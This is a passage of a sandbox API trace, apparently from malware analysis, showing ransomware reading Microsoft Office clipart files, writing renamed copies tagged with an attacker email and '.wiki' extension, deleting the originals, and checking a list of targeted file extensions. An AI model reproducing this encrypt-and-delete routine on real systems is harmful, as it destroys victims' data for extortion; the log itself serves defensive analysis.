dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.552] GetLastError () returned 0x0 [0060.552] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0060.587] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0060.588] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.588] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.588] SetEndOfFile (hFile=0x20c) returned 1 [0060.588] CloseHandle (hObject=0x20c) returned 1 [0060.588] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.588] SetEndOfFile (hFile=0x180) returned 1 [0060.589] CloseHandle (hObject=0x180) returned 1 [0060.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0060.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".doc") returned 4 [0060.590] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.590] lstrlenW (lpString=".docx") returned 5 [0060.590] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.590] lstrlenW (lpString=".pdf") returned 4 [0060.590] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString=".xls") returned 4 [0060.590] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString=".xlsx") returned 5 [0060.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.590] lstrlenW (lpString=".ppt") returned 4 [0060.590] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".zip") returned 4 [0060.590] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString=".rar") returned 4 [0060.590] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString=".bz2") returned 4 [0060.590] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.590] lstrlenW (lpString=".7z") returned 3 [0060.590] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".dbf") returned 4 [0060.590] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".1cd") returned 4 [0060.590] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".jpg") returned 4 [0060.590] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.590] lstrlenW (lpString=".doc") returned 4 [0060.590] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.591] lstrlenW (lpString=".docx") returned 5 [0060.591] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.591] lstrlenW (lpString=".pdf") returned 4 [0060.591] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.591] lstrlenW (lpString=".xls") returned 4 [0060.591] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.591] lstrlenW (lpString=".xlsx") returned 5 [0060.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.591] lstrlenW (lpString=".ppt") returned 4 [0060.591] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.591] lstrlenW (lpString=".zip") returned 4 [0060.591] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.591] lstrlenW (lpString=".rar") returned 4 [0060.591] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.591] lstrlenW (lpString=".bz2") returned 4 [0060.591] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.591] lstrlenW (lpString=".7z") returned 3 [0060.591] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.591] lstrlenW (lpString=".dbf") returned 4 [0060.591] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.591] lstrlenW (lpString=".1cd") returned 4 [0060.591] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0060.604] lstrlenW (lpString=".jpg") returned 4 [0060.604] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.604] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.604] lstrlenW (lpString="AG00120_.GIF") returned 12 [0060.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.604] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3484) returned 1 [0060.604] CloseHandle (hObject=0x180) returned 1 [0060.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0060.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.605] GetLastError () returned 0x0 [0060.605] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0060.613] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0060.616] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.616] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.616] SetEndOfFile (hFile=0x20c) returned 1 [0060.616] CloseHandle (hObject=0x20c) returned 1 [0060.616] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.616] SetEndOfFile (hFile=0x180) returned 1 [0060.617] CloseHandle (hObject=0x180) returned 1 [0060.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".doc") returned 4 [0060.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.618] lstrlenW (lpString=".docx") returned 5 [0060.618] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.618] lstrlenW (lpString=".pdf") returned 4 [0060.618] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString=".xls") returned 4 [0060.618] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString=".xlsx") returned 5 [0060.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.618] lstrlenW (lpString=".ppt") returned 4 [0060.618] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".zip") returned 4 [0060.618] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString=".rar") returned 4 [0060.618] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString=".bz2") returned 4 [0060.618] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.618] lstrlenW (lpString=".7z") returned 3 [0060.618] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".dbf") returned 4 [0060.618] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".1cd") returned 4 [0060.618] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".jpg") returned 4 [0060.618] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.618] lstrlenW (lpString=".doc") returned 4 [0060.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.619] lstrlenW (lpString=".docx") returned 5 [0060.619] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.619] lstrlenW (lpString=".pdf") returned 4 [0060.619] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.619] lstrlenW (lpString=".xls") returned 4 [0060.619] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.619] lstrlenW (lpString=".xlsx") returned 5 [0060.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.619] lstrlenW (lpString=".ppt") returned 4 [0060.619] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.619] lstrlenW (lpString=".zip") returned 4 [0060.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.619] lstrlenW (lpString=".rar") returned 4 [0060.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.619] lstrlenW (lpString=".bz2") returned 4 [0060.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.619] lstrlenW (lpString=".7z") returned 3 [0060.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.619] lstrlenW (lpString=".dbf") returned 4 [0060.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.619] lstrlenW (lpString=".1cd") returned 4 [0060.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0060.619] lstrlenW (lpString=".jpg") returned 4 [0060.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.619] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.619] lstrlenW (lpString="AG00129_.GIF") returned 12 [0060.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.620] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=12482) returned 1 [0060.620] CloseHandle (hObject=0x180) returned 1 [0060.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0060.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.620] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.620] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.620] GetLastError () returned 0x0 [0060.620] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0060.634] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0060.635] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.635] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.635] SetEndOfFile (hFile=0x20c) returned 1 [0060.635] CloseHandle (hObject=0x20c) returned 1 [0060.635] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.635] SetEndOfFile (hFile=0x180) returned 1 [0060.636] CloseHandle (hObject=0x180) returned 1 [0060.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0060.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.680] lstrlenW (lpString=".doc") returned 4 [0060.680] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.680] lstrlenW (lpString=".docx") returned 5 [0060.685] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.685] lstrlenW (lpString=".pdf") returned 4 [0060.685] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString=".xls") returned 4 [0060.685] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString=".xlsx") returned 5 [0060.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.685] lstrlenW (lpString=".ppt") returned 4 [0060.685] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.685] lstrlenW (lpString=".zip") returned 4 [0060.685] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString=".rar") returned 4 [0060.685] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString=".bz2") returned 4 [0060.685] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.685] lstrlenW (lpString=".7z") returned 3 [0060.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".dbf") returned 4 [0060.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".1cd") returned 4 [0060.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".jpg") returned 4 [0060.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".doc") returned 4 [0060.686] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.686] lstrlenW (lpString=".docx") returned 5 [0060.686] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.686] lstrlenW (lpString=".pdf") returned 4 [0060.686] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString=".xls") returned 4 [0060.686] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString=".xlsx") returned 5 [0060.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.686] lstrlenW (lpString=".ppt") returned 4 [0060.686] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".zip") returned 4 [0060.686] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString=".rar") returned 4 [0060.686] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.686] lstrlenW (lpString=".bz2") returned 4 [0060.686] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.686] lstrlenW (lpString=".7z") returned 3 [0060.686] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".dbf") returned 4 [0060.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.686] lstrlenW (lpString=".1cd") returned 4 [0060.687] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0060.687] lstrlenW (lpString=".jpg") returned 4 [0060.687] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.687] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.687] lstrlenW (lpString="AG00161_.GIF") returned 12 [0060.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.687] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=7583) returned 1 [0060.687] CloseHandle (hObject=0x180) returned 1 [0060.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0060.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.687] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.687] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.688] GetLastError () returned 0x0 [0060.688] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0060.694] WriteFile (in: hFile=0x20c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0060.695] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, 